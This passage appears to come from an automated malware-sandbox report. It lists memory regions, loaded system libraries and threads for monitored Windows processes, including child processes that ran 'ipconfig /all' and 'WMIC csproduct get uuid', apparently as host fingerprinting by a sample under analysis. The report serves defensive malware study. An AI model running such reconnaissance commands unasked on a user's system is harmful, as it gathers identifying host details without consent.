"c:\\windows\\system32\\apisetschema.dll") Region: id = 2436 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2437 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2438 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2439 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2440 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2441 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2442 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2443 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2444 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2445 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2446 start_va = 0x7fef91d0000 end_va = 0x7fef920bfff entry_point = 0x7fef91d0000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Thread: id = 215 os_tid = 0xa7c Thread: id = 216 os_tid = 0xa70 Thread: id = 217 os_tid = 0xa6c Thread: id = 218 os_tid = 0xa68 Thread: id = 219 os_tid = 0xa64 Thread: id = 220 os_tid = 0xa78 Thread: id = 221 os_tid = 0xa3c Thread: id = 222 os_tid = 0x7c0 Process: id = "20" image_name = "ipconfig.exe" filename = "c:\\windows\\system32\\ipconfig.exe" page_root = "0x12a03000" os_pid = "0xacc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x740" cmd_line = "\"C:\\Windows\\system32\\ipconfig.exe\" /all" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2886 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2887 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2888 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2889 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2890 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2891 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2892 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2893 start_va = 0xff8e0000 end_va = 0xff8f1fff entry_point = 0xff8e0000 region_type = mapped_file name = "ipconfig.exe" filename = "\\Windows\\System32\\ipconfig.exe" (normalized: "c:\\windows\\system32\\ipconfig.exe") Region: id = 2894 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2895 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2896 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2897 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2898 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2899 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2900 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2903 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2904 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2905 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2906 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2907 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2908 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0xe0000 region_type = mapped_file name = "ipconfig.exe.mui" filename = "\\Windows\\System32\\en-US\\ipconfig.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\ipconfig.exe.mui") Region: id = 2909 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2910 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2911 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2912 start_va = 0x530000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2913 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2914 start_va = 0x5c0000 end_va = 0x747fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 2915 start_va = 0x750000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2916 start_va = 0x8e0000 end_va = 0x1cdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 2917 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2918 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2919 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2920 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2921 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2922 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2923 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2924 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2925 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2926 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2927 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2928 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2929 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2930 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2931 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2932 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2933 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2934 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2935 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2936 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2937 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2938 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2939 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2940 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2941 start_va = 0x450000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2942 start_va = 0x1ce0000 end_va = 0x1faefff entry_point = 0x1ce0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2943 start_va = 0x1fe0000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2944 start_va = 0x2100000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2945 start_va = 0x2180000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 2946 start_va = 0x2240000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 2947 start_va = 0x22c0000 end_va = 0x239efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022c0000" filename = "" Region: id = 2948 start_va = 0x23c0000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2949 start_va = 0x7fef4c10000 end_va = 0x7fef4c54fff entry_point = 0x7fef4c10000 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 2950 start_va = 0x7fef4f50000 end_va = 0x7fef4f6efff entry_point = 0x7fef4f50000 region_type = mapped_file name = "qutil.dll" filename = "\\Windows\\System32\\QUTIL.DLL" (normalized: "c:\\windows\\system32\\qutil.dll") Region: id = 2951 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2952 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2953 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2954 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2955 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2956 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2957 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2958 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2959 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2960 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2961 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2962 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2963 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Thread: id = 295 os_tid = 0xae4 Thread: id = 297 os_tid = 0xa58 Thread: id = 298 os_tid = 0x8bc Thread: id = 299 os_tid = 0x80c Thread: id = 300 os_tid = 0x550 Thread: id = 301 os_tid = 0x524 Process: id = "21" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x27957000" os_pid = "0x7ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x740" cmd_line = "\"C:\\Windows\\System32\\Wbem\\WMIC.exe\" csproduct get uuid" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2967 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2968 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2969 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2970 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2971 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2972 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2973 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2974 start_va = 0xffef0000 end_va = 0xfff7cfff entry_point = 0xffef0000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 2975 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2976 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2977 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2978 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2979 start_va = 0x240000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2980 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2981 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2982 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2983 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2984 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2985 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2986 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2987 start_va = 0xe0000 end_va = 0xeffff entry_point = 0xe0000 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\System32\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\wmic.exe.mui") Region: id = 2988 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2989 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2990 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2991 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2992 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2993 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2994 start_va = 0x760000 end_va = 0x1b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2995 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2996 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2997 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2998 start_va = 0x7fee2b30000 end_va = 0x7fee2b7bfff entry_point = 0x7fee2b30000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2999 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3000 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3001 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3002 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3003 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3004 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3005 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3006 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3007 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3008 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3009 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3010 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3011 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3012 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3013 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3014 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3015 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3016 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3017 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3018 start_va = 0x1b60000 end_va = 0x1bdcfff entry_point = 0x1b60000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3019 start_va = 0x1b60000 end_va = 0x1bdcfff entry_point = 0x1b60000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3020 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3021 start_va = 0x1ca0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ca0000" filename = "" Region: 